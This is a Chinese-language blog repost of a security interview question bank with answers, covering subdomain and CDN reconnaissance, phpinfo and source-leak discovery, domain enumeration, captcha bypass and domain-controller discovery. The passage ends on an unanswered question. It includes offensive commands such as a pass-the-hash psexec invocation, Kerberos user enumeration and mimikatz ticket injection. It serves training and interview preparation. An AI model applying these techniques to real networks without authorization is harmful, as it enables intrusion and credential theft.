1- 杨CC有话说

全网二次首发!!!最全的网安面试题附参考答案(涵盖护网、红队、逆向、密码学、二进制)
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!


HR:请问…………
我:叽里咕噜说啥呢,看看八股文上写了没
原网站:http://113.45.17.228:4000
原Github 地址: https://github.com/duckpigdog/Sec-Interview
原作者:duckpigdog

2- 信息收集系列

如何处理子域名爆破的泛解析问题

1. 泛解析的探测与识别

在进行子域名爆破之前,第一步是确定目标域名是否开启了泛解析

操作方法:

  1. 随机生成一个不存在的子域名:例如,random-string-123.example.com。这个字符串要足够随机且复杂,以确保它不可能是真实存在的子域名
  2. 对其进行 DNS 查询:使用 pingdignslookup 等命令来查询其 IP 地址
  3. 记录返回的 IP 地址:如果返回了一个 IP 地址,那么这个地址很可能就是泛解析的地址

为了提高准确性,你可以多生成几个随机子域名并重复上述步骤。如果它们都解析到相同的 IP 地址,那么就可以确认泛解析已开启,且你已经找到了泛解析的 IP 地址

2. 爆破过程中的泛解析过滤

确认泛解析后,在进行子域名爆破时,你需要过滤掉所有解析到泛解析 IP 地址的结果

操作方法:

  1. 使用专门的工具:许多现代的子域名爆破工具,如 SubfinderMassdnsAmas 等,都内置了泛解析过滤功能。它们会在爆破前自动进行泛解析检测,并在爆破过程中自动过滤掉泛解析结果
  2. 手动处理(脚本化):如果你使用的是不具备自动过滤功能的工具,或者想自己编写脚本,可以采用以下策略:
    • 第一步:获取 IP 列表
      • 运行你的爆破工具,例如 dnsreconfierce,并将所有解析出的子域名及其 IP 地址保存到一个文件中
    • 第二步:过滤泛解析
      • 编写一个简单的脚本(Python、Bash 等)
      • 遍历文件中的每一行数据(子域名 IP
      • 对比每个 IP 地址,如果它等于之前探测到的泛解析 IP 地址,就将其所在的行删除或标记
      • 最后,你剩下的就是非泛解析的、真实存在的子域名

一个简单的 Python 脚本示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys

def filter_wildcard(input_file, wildcard_ip):
"""
过滤包含泛解析 IP 的子域名
"""
try:
with open(input_file, 'r') as f:
lines = f.readlines()

filtered_domains = []
for line in lines:
parts = line.strip().split()
if len(parts) >= 2:
domain, ip = parts[0], parts[1]
if ip != wildcard_ip:
filtered_domains.append(domain)

return filtered_domains

except FileNotFoundError:
print(f"Error: The file '{input_file}' was not found.")
sys.exit(1)

if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python filter_domains.py <input_file> <wildcard_ip>")
sys.exit(1)

input_file = sys.argv[1]
wildcard_ip = sys.argv[2]

real_domains = filter_wildcard(input_file, wildcard_ip)

print("Found the following real subdomains:")
for domain in real_domains:
print(domain)

如何绕过 CDN 查找真实 IP

1. 子域名查询

  • 原理: 很多时候,一个网站的主域名使用了 CDN,但其子域名(例如 blog.example.comftp.example.commail.example.com)却没有使用。这些子域名可能与主域名部署在同一个服务器上,或者在同一个 IP 段内。
  • 方法:
    • 使用自动化工具(如 Sublist3rAmassOneForAll)进行大规模子域名扫描
    • 通过在线的子域名查询服务(如 站长之家VirusTotal)进行查询
    • 然后对这些子域名进行 pingnslookup,如果返回的 IP 地址与主域名不同,且多次查询结果稳定,就可能找到了真实 IP

2. 邮件头信息

  • 原理: 很多网站的邮件服务器(如 SMTP)与 Web 服务器部署在同一台机器上,而邮件服务器通常不使用 CDN
  • 方法:
    • 尝试给目标网站的邮箱(如 admin@example.com)发送一封邮件
    • 在你的邮箱中查看这封邮件的原始邮件头(Original Headers)
    • 在邮件头中寻找 Received: from 字段。这个字段记录了邮件在传输过程中经过的服务器 IP 地址。通常,第一个 Received: from 后面的 IP 地址就是邮件服务器的真实 IP,而这个 IP 很可能就是网站的真实 IP

3. 历史 DNS 记录查询

  • 原理: 一个网站在上线 CDN 之前,其 DNS A 记录直接指向的就是真实 IP。一些服务会保存这些历史记录
  • 方法:
    • 使用在线服务(如 SecurityTrailsWhoisXML APIViewDNS)查询域名的历史 DNS 解析记录
    • 通过这些历史记录,你可以找到在 CDN 启用之前网站使用的真实 IP 地址

4. SSL 证书查询

  • 原理: SSL 证书可能会包含一些指向源站的信息,例如在某些情况下,证书颁发者会记录申请者的 IP 地址
  • 方法:
    • 通过在线服务(如 CensysShodan)对目标域名进行 SSL 证书查询
    • 查看证书的 subjectAltName 字段,或者检查是否有其他关联信息泄露了真实 IP
    • 在某些情况下,如果目标网站使用了与源站 IP 绑定的证书,可以在 Shodan 等搜索引擎中直接搜索证书哈希或序列号来定位真实 IP

phpinfo 页面你会关注哪些信息

1. PHP 配置和安全设置

这些信息直接决定了攻击的难度和可用方法

  • disable_functions: 这是最关键的信息。如果这个列表为空,或者只禁用了少数函数,那么我就可以直接使用像 system()exec()shell_exec()passthru() 等命令执行函数来获取 WebShell,进行系统命令执行
  • allow_url_fopenallow_url_include: 如果这两个选项都为 On,则存在远程文件包含 (RFI) 漏洞的可能性。攻击者可以从远程服务器加载恶意 PHP 文件并执行
  • open_basedir: 如果这个选项设置了,它会限制 PHP 脚本只能在指定的目录及其子目录中操作。这能有效限制攻击者的权限,但我会寻找绕过它的方法
  • display_errors: 如果这个选项是 On,服务器会显示详细的错误信息,包括文件路径、数据库查询语句等。这些信息对于 SQL 注入、文件包含等漏洞的调试和利用非常有帮助
  • expose_php: 如果这个选项为 Onphpinfo() 页面会暴露 PHP 的精确版本号(例如 PHP/8.1.12)。这使得我能快速在漏洞数据库(如 CVEs)中查找该版本已知的安全漏洞,并针对性地进行攻击

2. 服务器环境信息

这些信息帮助我了解 PHP 运行在什么样的环境中,以及我能获得多大的权限

  • SERVER_SOFTWARE: 告诉我 Web 服务器的类型和版本,例如 Apache、Nginx、IIS 等。这些服务器本身也可能存在漏洞
  • _SERVER["DOCUMENT_ROOT"]: 暴露了网站的根目录路径,这是进行本地文件包含 (LFI) 和目录遍历攻击的关键信息
  • UserGroup: phpinfo() 会显示 PHP 进程是以哪个用户和用户组运行的。这决定了我能执行哪些操作,例如是否可以读取其他用户的文件、是否可以写入某些目录等
  • PATH: 环境变量 PATH 包含了系统命令的搜索路径,如果我能执行命令,这能帮助我快速找到像 whoamilsid 等常用命令

3. 已加载的模块和扩展

这些信息揭示了 PHP 环境的功能,以及潜在的攻击面

  • cURLsockets: 如果这些扩展存在,我可能会尝试服务器端请求伪造 (SSRF) 攻击,通过服务器向内部网络发起请求,探测内网服务
  • pdomysqlisqlsrv 等数据库扩展: 确认网站使用了哪种数据库,为后续的SQL 注入攻击提供目标
  • GDImageMagick 等图像处理扩展: 如果存在,可能会有图像处理库漏洞,导致命令执行。

4. 文件系统和路径信息

  • _SERVER["SCRIPT_FILENAME"]: 暴露了当前脚本在服务器上的绝对路径。这是进行本地文件包含、路径遍历、以及了解服务器文件结构的重要线索
  • upload_tmp_dir: 如果我能找到一个文件上传漏洞,这个选项会告诉我临时文件上传的目录。有时候,我可以在这个目录上传并执行一个 WebShell

如何判断目标操作系统

1. 被动指纹识别

这是在不与目标系统直接交互或发送特定探测请求的情况下进行识别,通常通过分析网络流量来完成

  • TTL (Time-To-Live):这是最常用且最简单的方法。TTL 是 IP 包在网络中存活的最大跳数。不同的操作系统有不同的初始 TTL 值
    • Linux/Unix:通常为 64
    • Windows:通常为 128
    • 老版本 Windows XP:也可能是 64
    • 思科设备:通常为 255
    • 判断方法:在你的机器上 ping 目标,或者通过 tracert/traceroute,观察返回包的 TTL 值。例如,你 ping 一个服务器,返回的 TTL 是 118,那么初始值很可能是 128,表明目标是 Windows
  • TCP 窗口大小 (Window Size):不同的操作系统在进行 TCP 握手时,其初始的 TCP 窗口大小也不同
    • Linux:通常为 5840
    • Windows:通常为 65535
    • 判断方法:通过抓包工具(如 Wireshark)分析 TCP 三次握手的第一个 SYN-ACK 包,观察其 Window Size 字段

判断目标操作系统是渗透测试中的一个基本步骤,这可以帮助你选择正确的漏洞利用方法和工具。以下是几种从渗透测试角度判断目标操作系统的方法,从被动到主动,由浅入深

2. 主动指纹识别

这需要你向目标发送特定的探测请求,并分析其响应

  • Nmap:这是最强大的操作系统指纹识别工具。Nmap 使用其内置的脚本和复杂的算法来识别操作系统
    • 命令nmap -O [目标 IP]
    • 原理:Nmap 会发送一系列精心构造的 TCP/IP 数据包到目标,并分析响应的 TTL、TCP 窗口大小、序列号(IP ID)、TCP 时间戳等多种特征,然后将这些特征与 Nmap 数据库中的操作系统指纹进行比对
  • HTTP 响应头:如果目标是 Web 服务器,其 HTTP 响应头通常会泄露操作系统和 Web 服务器软件的信息
    • Server:可能包含 Apache/2.4.6 (CentOS)Microsoft-IIS/10.0 等信息
    • X-Powered-By:可能包含 ASP.NETPHP 等信息
    • 判断方法:使用 curl 命令或 Burp Suite 等工具发送请求,然后查看响应头

如何判断是否使用 CDN

1. DNS 解析查询

CDN 的核心原理就是将你的请求解析到离你最近的节点服务器

  • 多次查询: 在不同地区或使用不同的 DNS 解析服务器(如 Google DNS, 阿里云 DNS)多次对目标域名进行 pingnslookup 查询
  • 观察 IP 地址: 如果每次查询返回的 IP 地址都不同,或者返回多个 IP 地址,那么很可能目标使用了 CDN。因为 CDN 会根据你的地理位置,将域名解析到不同的边缘节点服务器
  • 查询CNAME: 许多 CDN 服务商会使用一个特殊的 CNAME(别名记录)来指向他们的 CDN 节点。例如,你查询 www.example.com 的 CNAME,如果返回一个类似 www.example.com.cdn.cloudflare.netw.alikun.com 的域名,那么目标就使用了 CDN

你可以使用在线工具如 nslookup.ioping 命令nslookup 命令 来进行测试

2. HTTP 响应头分析

许多 CDN 服务商会在 HTTP 响应头中添加特定的信息来标识自己

  • Server 字段: 一些 CDN 会在 Server 字段中暴露自己的身份,例如 Server: cloudflareServer: Tengine(阿里巴巴的 CDN)
  • X-Powered-By 或自定义字段: 有些 CDN 可能会添加自定义的 HTTP 头,如 X-CacheX-CDNVia 来指示内容是否由 CDN 缓存
  • Set-Cookie: 一些 CDN 服务会在响应中设置特定的 Cookie 来追踪用户,这也能作为判断依据

你可以使用 curl 命令或浏览器的开发者工具来查看这些 HTTP 头信息。例如:curl -I http://www.example.com

3. IP 地址归属地查询

  • IP 库查询: 如果通过 DNS 查询获得了目标 IP 地址,可以利用 IP 地址查询工具来判断其归属地
  • 观察归属地: 如果 IP 地址归属地是一个知名的 CDN 服务商(如 Cloudflare, Akamai, AWS),那么目标就使用了 CDN

4. SSL/TLS 证书信息

  • 证书颁发者: 有些 CDN 服务商会提供 SSL/TLS 证书服务,如果证书的颁发者是 Cloudflare 或 Let’s Encrypt 等,这可能暗示使用了 CDN

有没有了解过 SVN/GIT 源代码泄露

SVN 源代码泄露

SVN(Subversion)是一个集中式版本控制系统,它的核心目录是 .svn。当开发者在 Web 服务器的根目录下直接使用 svn checkoutsvn update 命令时,.svn 目录及其所有子目录也会被同步到服务器上。如果 Web 服务器没有正确配置,这个隐藏目录就会被公网访问

漏洞原理

/.svn/ 目录下存储了代码的元数据,这些数据通常以 .svn/entries.svn/text-base/ 等形式存在。攻击者可以通过递归下载这些文件来还原出整个代码库

  • /.svn/entries:在 SVN 1.6 及更早版本中,这个文件包含了目录下所有文件的元数据,包括文件名、版本号、文件类型等。攻击者可以通过解析这个文件,获取所有文件的相对路径
  • /.svn/text-base/:这个目录存储了每个文件的原始版本副本。文件名通常是 filename.svn-base。攻击者可以下载这些文件来获取源代码

如何利用

利用 SVN 源代码泄露,通常需要一个自动化工具来递归下载所有 .svn 目录下的文件,并根据元数据将它们重组为完整的代码库

  1. 探测:在目标网站 URL 后面加上 /.svn/entries/.svn/wc.db(SVN 1.7+)来探测漏洞是否存在
    • http://example.com/.svn/entries
    • http://example.com/some-dir/.svn/entries
  2. 自动化下载与重构:使用 svn-dumperdvcs-ripper 等工具。这些工具能够自动化完成下载和还原代码的过程

Git 源代码泄露

Git 是一个分布式版本控制系统,它的核心目录是 .git。和 SVN 类似,当开发者将代码直接在 Web 目录下进行 git initgit clone 操作时,.git 目录就会被创建并暴露出来

漏洞原理

/.git/ 目录包含了 Git 版本库的所有信息,如对象(objects)、引用(refs)、索引(index)、配置文件(config)等。攻击者可以通过下载这些文件,利用 Git 内部的命令来还原代码

  • /.git/HEAD:指向当前分支,可以确定当前分支名
  • /.git/index:包含了暂存区的文件信息
  • /.git/objects/:这个目录存储了所有的 Git 对象(包括文件、目录、提交等)。这是攻击者还原代码最关键的目录

如何利用

  1. 探测:在目标 URL 后面加上 /.git//.git/config 来探测漏洞
    • http://example.com/.git/config
    • http://example.com/.git/HEAD
  2. 下载与重构:同样可以使用 dvcs-ripper 或专门针对 Git 的工具。这些工具会下载 .git 目录下的所有文件,然后在本地创建一个 Git 仓库并还原出源代码
    • 通过 git log 查看提交历史
    • 通过 git checkout 切换到不同版本,获取所有版本的代码

说说域信息收集思路

阶段一:宏观侦察

这个阶段的目标是在不暴露自己身份的情况下,尽可能多地了解域环境的整体情况

  1. 确定网络边界和域控位置:
    • DNS 侦察: 查询 DNS 服务器,获取域控(DC)、全局编录服务器(GC)的 IP 地址。通常通过 nslookupdig 命令查询 _ldap._tcp.dc._msdcs.<domain_name>_kerberos._tcp.dc._msdcs.<domain_name> 记录。这是最基本的域内服务发现方法
    • SMB 侦察: 使用 nbtscannmap 扫描器,发现网络中开放了 445 端口(SMB)的主机,这些主机很可能是 Windows 主机,其中域控的特征会更明显
  2. 判断域的信任关系:
    • 域之间可能存在信任关系,允许一个域的用户访问另一个域的资源。通过 nltest /domain_trusts 或 PowerView 的 Get-DomainTrust 命令可以列出域之间的信任关系。这是一个重要的横向移动点,如果能控制一个受信任的子域,可能可以借此攻击主域
  3. 发现域内主机:
    • ICMP/ARP 扫描: 使用 pingnmap -sn 对内网 IP 段进行存活主机探测
    • 端口扫描: 发现域内主机开放的服务,特别是 Kerberos (88/TCP)、LDAP (389/TCP)、SMB (445/TCP)、WinRM (5985/TCP) 等与域服务相关的端口

阶段二:微观信息枚举

在初步了解了域环境后,这个阶段的目标是利用已有的权限(即使是普通用户权限),深入挖掘域内的各种实体信息

1. 用户和组信息枚举

  • 目标: 发现域内所有用户、管理员账户、组及其成员
  • 常用技术:
    • net user /domainnet group /domain 最基础的命令行工具,可以列出域内用户和组
    • PowerView (PowerShell): 这是域渗透中最强大的信息收集工具之一。它提供了大量 cmdlet,如 Get-DomainUserGet-DomainGroupGet-DomainGroupMember,可以高效、详细地查询域内用户、组及其关系
    • AdFind.exe: 一款经典的 LDAP 查询工具,可以灵活地查询域内任何信息
    • BloodHound: 这是一个革命性的工具,它通过收集域内用户、组、计算机、服务等实体之间的关系,并以图形化方式展示,帮助攻击者快速找到通往域控的最短攻击路径。这是渗透测试中必不可少的工具

2. 计算机和域控信息枚举

  • 目标: 发现域内所有计算机,特别是域控、高权限服务器,以及这些机器上运行的服务
  • 常用技术:
    • PowerView 的 Get-DomainComputer 可以获取域内所有计算机的详细信息,包括操作系统、角色(如是否为域控)等
    • SMB 和 WinRM 枚举: 尝试连接域内计算机的 SMB 或 WinRM 服务,并使用已有的凭据进行登录,如果成功,可以进一步收集该机器上的本地信息。

3. 服务信息枚举(Kerberoasting)

  • 目标: 发现域内所有注册了 SPN (Service Principal Name) 的服务账户
  • 常用技术:
    • PowerView 的 Get-DomainSPN 专门用于查询注册了 SPN 的服务账户
    • Kerberoasting 攻击: 通过向 KDC (Key Distribution Center) 请求特定服务的 TGS 票据,然后离线破解票据中的哈希,从而获取服务账户的明文密码。这是一个非常高效的域内提权和横向移动方法

4. 组策略信息(SYSVOL)

  • 目标: 收集域内的组策略设置,寻找配置不当或包含敏感信息的 GPO
  • 常用技术:
    • 访问 \\<domain_name>\SYSVOL 共享: SYSVOL 文件夹是公开可访问的
    • 搜索 SYSVOL 在 SYSVOL 文件夹中搜索密码、脚本(如 .vbs.bat 文件)或任何可能包含敏感信息的 XML 文件。有时管理员会将密码硬编码在组策略脚本中,这会是一个巨大的突破口

5. 域内漏洞扫描与识别

  • 目标: 发现域内存在的已知漏洞,特别是与域服务相关的关键漏洞
  • 常用技术:
    • PowerView 的 Find-DomainVulnerableSPN 等: 寻找可能存在漏洞的配置
    • 专业漏洞扫描器: 使用商业或开源的漏洞扫描器,如 Nessus、OpenVAS 或专门针对域控的漏洞扫描工具,检查域控和成员服务器是否存在 Zerologon (CVE-2020-1472)、PetitPotam (CVE-2021-36942) 等严重漏洞

如何快速定位域控

1. 使用内置环境变量

这是最快、最简单的方法,特别是在你已经获得域内任意一台 Windows 主机的权限时

当一台 Windows 主机加入域后,它会自动设置一个名为 %LOGONSERVER% 的环境变量,该变量存储了当前用于登录认证的域控名称。

  • 命令:

    1
    echo %LOGONSERVER%

    或者在 PowerShell 中:

    1
    $env:LOGONSERVER
  • 优点: 无需任何额外工具,几乎即时返回结果

2. 通过 DNS 服务查询

在域环境中,域控会在 DNS 服务器上注册特定的服务记录(SRV Records),这些记录指向其 IP 地址和端口。这是最可靠的定位方法之一

  • 命令:

    1
    nslookup -type=SRV _ldap._tcp.dc._msdcs.yourdomain.com

    yourdomain.com 替换为目标域的名称。例如,如果域是 contoso.local,命令就是 nslookup -type=SRV _ldap._tcp.dc._msdcs.contoso.local

  • 输出: DNS 服务器会返回包含域控主机名和 IP 地址的列表

  • 优点: 几乎所有 Windows 域都依赖 DNS 服务,这种方法非常通用且准确

3. 利用 Windows 内置工具

nltest 是一个用于测试和管理网络登录服务的命令行工具,可以用来发现域控

  • 命令:

    1
    nltest /dclist:yourdomain.com

    这个命令会列出域内的所有域控

  • 优点: 无需管理员权限,可以在任何域成员主机上运行,非常方便

4. 使用端口扫描

域控提供多种核心服务,这些服务都在特定的端口上运行。通过扫描这些端口,可以有效地识别出域控

  • 关键端口:

    • Kerberos: 88/TCP
    • LDAP: 389/TCP
    • LDAP over SSL: 636/TCP
    • Global Catalog: 3268/TCP
    • SMB: 445/TCP
  • Nmap 扫描:

    1
    nmap -p 88,135,139,389,445,636 --open <internal_network_range>

    这个命令会扫描指定网段中开放了这些域控服务端口的主机。 你还可以使用 Nmap 的脚本来更精确地识别:

    1
    nmap -p 88 --script krb5-enum-users <ip_address>

    如果一个主机在 88 端口上运行了 Kerberos 服务,它很可能就是域控


Wappalyzer 怎么进行指纹识别的

Wappalyzer 的指纹识别过程可以概括为以下几个主要步骤:

  1. 特征库匹配:Wappalyzer 维护一个巨大的、社区驱动的 JSON 特征库文件,其中包含了各种 Web 技术(如 CMS、Web 服务器、前端框架、编程语言、数据库等)的独特指纹信息
  2. 获取信息:当你访问一个网站时,Wappalyzer 会利用浏览器已经加载的数据,从中提取出以下几类信息:
    • HTTP 响应头(HTTP Headers):检查 ServerX-Powered-BySet-Cookie 等响应头字段。例如,Server: Nginx 就直接表明使用了 Nginx 服务器;X-Powered-By: PHP/7.4.3 则表明使用了特定版本的 PHP
    • HTML 页面内容:在页面的 <body><head> 标签中搜索特定的字符串。例如,许多 CMS 会在页面中包含特定的元标签,如 <meta name="generator" content="WordPress 6.0.1" />,这直接暴露了所使用的技术及其版本
    • JavaScript 变量和库:检查全局 JavaScript 变量或特定库文件的存在。例如,如果页面加载了 jquery.js,并且存在 window.jQuery 变量,Wappalyzer 就可以识别出使用了 jQuery 库
    • URL 路径和文件名:分析 URL 的结构,特别是目录和文件名。例如,/wp-content/ 目录是 WordPress 的典型特征;而 /admin/login 路径可能指向特定的 CMS 或框架
    • Cookies:检查 Cookie 名称或值。例如,wordpress_logged_in_...PHPSESSID 都是典型的指纹信息
    • CSS 文件:通过分析 CSS 文件的路径、内容或文件名来识别技术
  3. 匹配与判断:Wappalyzer 将上述提取到的信息与本地的特征库进行比对。如果某个或某几个特征与库中的某个技术指纹相匹配,那么该技术就会被识别出来,并显示在 Wappalyzer 的图标或面板中
  4. 结果展示:最终,Wappalyzer 会将所有匹配成功的技术以图标和文字的形式展示给用户,通常还会附带该技术的名称、版本和类型(如 CMS、框架、库等)

登录验证码怎么绕过

1. 验证码本身的设计缺陷

很多验证码系统本身存在漏洞,这是最容易利用的突破口

  • 万能验证码或静态验证码: 有些开发者为了方便测试,会设置一个固定的“万能验证码”,比如 1234abcd。或者验证码每次刷新都是一样的。这使得攻击者可以轻松地在每次登录尝试时都使用这个固定的值
  • 验证码可重复利用: 正常情况下,验证码使用一次后就应该失效。如果验证码可以重复使用,攻击者就可以通过一次有效的请求获取一个验证码,然后在多次请求中重复使用它来尝试不同的密码
  • 验证码在客户端生成: 尽管非常罕见,但有些不安全的实现是在前端(如JavaScript)生成验证码。这意味着攻击者可以直接在浏览器控制台中获取或修改验证码的值
  • 验证码不与会话绑定: 验证码与用户会话(Session)没有正确绑定。攻击者可以先访问登录页面,获取一个验证码,然后用不同的会话(但使用同一个验证码)来尝试暴力破解,这使得验证码失去了它的防重放作用

2. 暴力破解验证码

如果验证码系统本身没有设计缺陷,攻击者可能会尝试通过技术手段识别验证码

  • 简单验证码的图像识别: 对于那些扭曲度低、背景干扰少、字符集简单的验证码(如纯数字、4 位字母),攻击者可以使用 **OCR(光学字符识别)**工具或专门的验证码识别库(如 Tesseract、dlib)进行识别
  • 训练模型识别验证码: 对于更复杂的验证码,攻击者可以收集大量的验证码图片,然后使用机器学习或深度学习技术(如卷积神经网络 CNN)来训练一个模型,以达到较高的识别成功率
  • 人工打码平台: 这是最直接、最有效的方法。攻击者将验证码图片发送到专业的打码平台。这些平台背后有大量人工或半自动化工具,可以在极短时间内返回识别结果。这使得攻击者能够以较低的成本实现大规模的自动化攻击

3. 绕过验证码逻辑

  • API 接口漏洞: 有些应用程序的登录过程并非只有一个接口。攻击者可能会发现,用于处理登录的 API 接口与用于获取验证码的接口是分开的。如果登录 API 接口没有强制要求验证码参数,或者在验证码参数为空时依然处理请求,那么攻击者可以直接绕过验证码步骤
  • 不安全的登录逻辑: 攻击者可以尝试多次错误的登录,观察服务器的响应。如果服务器只在第一次登录尝试时返回验证码,或者在多次失败后才返回验证码,攻击者可以利用这个时间差进行快速尝试
  • 会话劫持或利用令牌: 如果应用程序在登录过程中使用了某种令牌(Token),而验证码的验证没有正确与这个令牌关联,那么攻击者可以利用这个漏洞绕过验证码

工作组环境下怎么判断是否有域环境

1. 系统信息查看

这是最直接、最常用的方法。

  • GUI 界面
    • 右键点击“此电脑”或“我的电脑”,选择“属性”
    • 在弹出的窗口中,找到**“计算机名、域和工作组设置”**
    • 如果显示的是“工作组:WORKGROUP”或其他工作组名称,则很可能处于工作组环境
    • 如果显示的是“域:xxx.local”或类似域名,则表明当前计算机已加入域
  • 命令行(CMD/PowerShell)
    • 使用 systeminfo 命令。在命令输出中,寻找**“域”“登录域”**字段。如果显示具体的域名,那就是域环境;如果显示“WORKGROUP”,那就是工作组
    • 使用net config workstation命令。该命令会显示当前计算机的配置信息,其中“工作站域”会明确列出当前是工作组还是域
    • 使用whoami /all命令。该命令会显示当前用户的详细信息,包括所属的域或工作组

2. 网络和 DNS 配置

域环境依赖于特定的网络配置,尤其是 DNS

  • DNS 服务器
    • 域环境中的客户端通常会将 DNS 服务器设置为域控制器或指向域控制器的 DNS 解析服务器
    • 你可以通过 ipconfig /all 命令查看当前主机的 DNS 服务器地址。如果 DNS 服务器地址指向内网IP,且该 IP 可能就是域控制器,那就值得怀疑。
    • 你可以尝试 nslookup 命令解析域名。在域环境中,客户端可以解析域控制器名称(例如:nslookup dc.example.com),而在工作组环境中通常无法解析
  • Ping 域控制器
    • 如果你能猜测或已经获得了可能的域控制器名称,可以尝试 ping 该域名。如果 ping 通了,说明网络是连通的,并且 DNS 解析正常,很可能存在域环境
    • 例如:ping test.local

3. 登录方式和用户账户

用户登录界面的信息也会提供线索

  • 登录界面
    • 在 Windows 登录界面,如果用户名输入框上方或下方显示**“登录到:xxx.local”**,说明可以登录到域
    • 工作组环境通常只显示本地计算机名
  • 用户账户
    • 在工作组环境中,本地用户通常是 用户名
    • 在域环境中,用户登录名通常是 域名\用户名用户名@域名
    • 可以通过 net userwhoami 命令来查看当前用户的完整信息。如果显示 test\administratortest.local\user,那就很可能是域环境

4. 特定的网络服务和端口

域环境中的主机通常会开放一些特定的服务和端口,用于域内通信。

  • Kerberos协议:域环境使用Kerberos进行身份验证。攻击者可以扫描域控制器特有的端口(如TCP/UDP 88)。
  • LDAP协议:域控制器提供LDAP服务(轻量目录访问协议),用于管理目录信息。端口通常是TCP 389或636(LDAPS)。
  • SMB协议:虽然工作组和域都使用SMB,但在域环境中,通过net view等命令可以看到域内共享资源。

通过端口扫描工具(如Nmap),可以快速发现目标主机是否开放了这些与域相关的服务端口


只有一个网卡通过什么方式判断内网中是否有其他网段

1. 路由表分析

这是最直接、最快速的方式。当一个主机连接到网络时,它的操作系统会维护一个路由表,其中包含了到达不同目标网络的数据包应该通过哪个网关发送。通过分析这个路由表,我们可以发现除了默认网关之外,是否还有其他的内网路由规则

Windows 系统中,可以使用以下命令:

1
route print

或者

1
netstat -rn

这两个命令都会显示详细的路由信息。关注“活动路由”或“Persistent Routes”部分。如果发现除了0.0.0.0(默认网关)以外,还有其他10.0.0.0/8172.16.0.0/12192.168.0.0/16等私有地址网段的路由,那就表明存在通向这些网段的路径

Linux/macOS 系统中,可以使用以下命令:

1
ip route show

或者

1
netstat -r

同样,检查输出结果中是否有指向其他内网网段的路由条目。例如,你可能会看到类似于192.168.2.0/24 via 192.168.1.1 dev eth0的条目,这说明存在一个到192.168.2.0网段的路由

2. ARP 缓存表分析

ARP(Address Resolution Protocol)用于将IP地址解析为物理MAC地址。当主机与同一局域网内的其他设备通信时,它会将对应的IP-MAC映射关系存储在ARP缓存表中。通过查看这个缓存表,我们可以发现哪些主机是活跃的

使用以下命令来查看:

  • Windowsarp -a
  • Linux/macOSarp -n

如果你的ARP缓存表中出现了不同网段的IP地址,比如你当前IP是192.168.1.100,但缓存表中出现了192.168.2.1的条目,这可能是一个网络设备(如路由器或三层交换机)的IP地址,它负责连接到另一个网段

3. DNS 和 WINS 服务查询

DNS(域名系统)和 WINS(Windows Internet Name Service)在内部网络中扮演着关键角色。内网中的主机通常会依赖这些服务来解析主机名。通过查询这些服务,我们可以发现属于其他网段的主机

  • DNS 查询
    • 在Windows上,使用nslookupdig命令
    • 例如:nslookup -type=any example.local
    • 如果能查询到属于不同网段的A记录(主机名-IP地址映射),那就能确认存在其他网段
  • WINS 查询
    • 在Windows上,可以使用nbtstat -r命令。它会显示通过广播或WINS服务器获取的NetBIOS名称解析统计信息。如果能看到不同网段的主机名,就说明存在其他网段

说说 Webpack 信息泄露

常见的泄露文件和表现形式

  • \*.js.map 文件: 这是最常见的sourcemap文件,例如 main.bundle.js.map。通过这些文件,可以还原出完整的源代码目录结构和内容
  • 源代码中的注释: 开发过程中留下的注释,如TODO、FIXME、调试信息,甚至是一些硬编码的敏感信息
  • 前端路由和API接口地址: sourcemap中会暴露所有前端路由配置,攻击者可以借此发现未公开的页面或接口
  • 环境变量和密钥: 如果在前端代码中使用了process.env等方式读取了后端传递的环境变量,这些变量可能会被打包并泄露
  • 打包配置文件: 一些不当的配置可能会导致webpack.config.js等文件也被泄露,从中可以获取更多项目结构和依赖信息

渗透测试中的利用方法

  1. 发现目标: 首先,通过浏览器或Burp Suite等工具访问目标网站,观察前端加载的.js文件,看是否存在.map文件。例如,如果存在main.bundle.js,尝试访问main.bundle.js.map
  2. 目录猜解: 有时sourcemap文件没有直接暴露,但可以通过对.js文件的URL进行目录猜解。比如,如果js文件在/static/js/下,那么sourcemap可能也在这个目录下
  3. 使用自动化工具: 有很多工具可以自动化这一过程。例如,使用npm install -g reverse-sourcemap安装的工具可以从*.js.map文件还原出源代码。此外,一些渗透测试框架如Nuclei也包含了专门针对Webpack信息泄露的扫描模板
  4. 手动分析: 如果找到了sourcemap文件,下载下来并使用文本编辑器打开。.map文件是JSON格式,其中sourcesContent字段包含了原始的源代码内容,sources字段包含了原始的文件路径。通过分析这些字段,可以快速定位敏感信息

net group “Domain Admins” /domain 这条命令查询域内管理员没查到,那么可能出现了什么问题,怎么解决

1. 权限问题

这是最常见的原因。net group "Domain Admins" /domain 这条命令需要域用户的身份才能正确执行

  • 问题所在:你当前 Shell 所处的机器可能是一个工作组机器,或者你使用的是一个本地账户,没有通过认证来访问域控制器。即使你获得了 SYSTEM 权限,它也只是本地机器的最高权限,无法直接用来查询域内的资源

  • 解决方案:你需要获得一个域用户的凭据(用户名和密码/哈希)。然后通过以下方法进行认证:

    • 哈希传递(Pass-the-Hash):如果手上有一个域用户的哈希,你可以使用 psexec.pymimikatz 等工具,以该用户的身份在域内执行命令

      1
      2
      # 使用Impacket工具包
      psexec.py domain.local/user@dc_ip -hashes <哈希>
    • Kerberos 票据注入:如果手上有一个域用户的 Kerberos 票据(TGT),你可以使用 mimikatzkerberos::ptt 命令将其注入到当前会话中,然后你的 Shell 就具备了访问域资源的权限

2. 网络连接问题

即使你拥有正确的权限,如果网络连接存在问题,命令也无法成功执行

  • 问题所在:你的机器可能无法直接与域控制器(DC)通信。这可能是因为:
    • 防火墙:目标机器的防火墙阻止了 SMB/LDAP 协议的流量
    • 路由问题:你的机器不在域所在的网络段,无法直接路由到 DC
    • 端口未开放:DC 可能没有开放必要的端口,如 LDAP (389) 或 SMB (445)
  • 解决方案
    • 端口扫描:使用 nmap 等工具扫描 DC 的 IP 地址,检查 389 (LDAP)、445 (SMB) 等端口是否开放
    • 端口转发/隧道:如果你能访问域内的一台机器,但不能直接访问 DC,可以考虑使用端口转发工具,如 chiselssh -L,将 DC 的流量转发到你的本地机器,从而绕过防火墙或路由限制

继上题,这条命令的本质究竟是去哪里查

查询的详细过程

